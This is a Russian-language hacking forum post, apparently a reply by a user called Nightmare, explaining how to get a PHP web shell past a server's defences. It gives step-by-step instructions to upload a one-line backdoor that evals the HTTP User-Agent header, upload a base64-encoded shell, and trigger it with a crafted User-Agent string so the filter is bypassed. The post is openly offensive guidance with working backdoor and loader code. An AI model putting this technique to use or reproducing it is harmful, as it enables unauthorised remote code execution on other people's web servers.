2
Nightmarе:
Всё дело в HTML-коде внутри любого шелла. Его просто надо переделать в ECHO "а тут html-код". Иначе через eval есс-но работать не будет. Или написать "правильную" функцию для корректной работы шелла с чистым html внутри себя.
Т.е. в итоге будет достаточно залить чистый base64_encode код шелла в файл на сервере, без <? и ?>
Но таких готовых шеллов нет, никто так не пишет

) Ну или в паблик не выкладывает. Вывод - ручками. Как? Очень просто. Сидим и построчно заменяем "чистый html" на
echo 'тут html_код';
вот и всё. Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% -
для корректного исполнения php кода, содержащий в себе чистый html
т.е., чтобы было понятно:
1. Cработает:
PHP код:
<?
$a = "phpinfo();";
eval ($a);
?>
2. Сработает:
PHP код:
<?
$a = "phpinfo();";
$a = base64_encode($a);
eval (base64_decode($a));
?>
Т.е. остается только залить base64_encode код шелла, без <? и ?> и еще не закодированный он когда, там должен быть "правильный" html, не отделенный от php-кода никакими <? и ?>, т.е. шелл, состоящий сплошь из "чистого" php, без htm-отдельных-вставок в центре кода. Т.е. еще раз (сам уже запутался, гы) - весь чистый, отдельный вынесенный html надо заменить на
echo "html-код";
закодировать такой шелл в base64, залить (получиться файло без кавычек, значит прокатит 100%, как при sql-inj при заливке файла) на сервер, а потом просто eval-нуть, т.е. по пунктам:
1. Заливаешь такой файл на сервер, назовем такой файл user1.php:
<?eval($_SERVER[HTTP_USER_AGENT]);?> -
будет работать 100%, кавычек нет, зальется без изменений
2. Заливаешь на сервер другой файл, в котором "правильный" base64_encode шелла (с правильными html) - назовем такой файл user.php (закодированный без <? и ?>) -
будет работать 100%, кавычек нет, зальется без изменений
3. Идешь в FF и создаешь такого юзер-агента в плагине user agent switcher:
Description: eval(base64)
User agent: $a=file_get_contents('user.php');eval(base64_decod e($a));
и всё, у тебя шелл
PS: Пункт №2 можно выполнить либо удаленно, либо через предварительно залитую форму загрузки с локального компа - зависит от настроек в php.ini
И такая защита, как наблюдается у тебя там, обломается
Или не читать весь бред, что выше про FF (раньше так делал, гы) и просто залить правильный base64 шелла и выполнить его через eval - что в принципе одно и тоже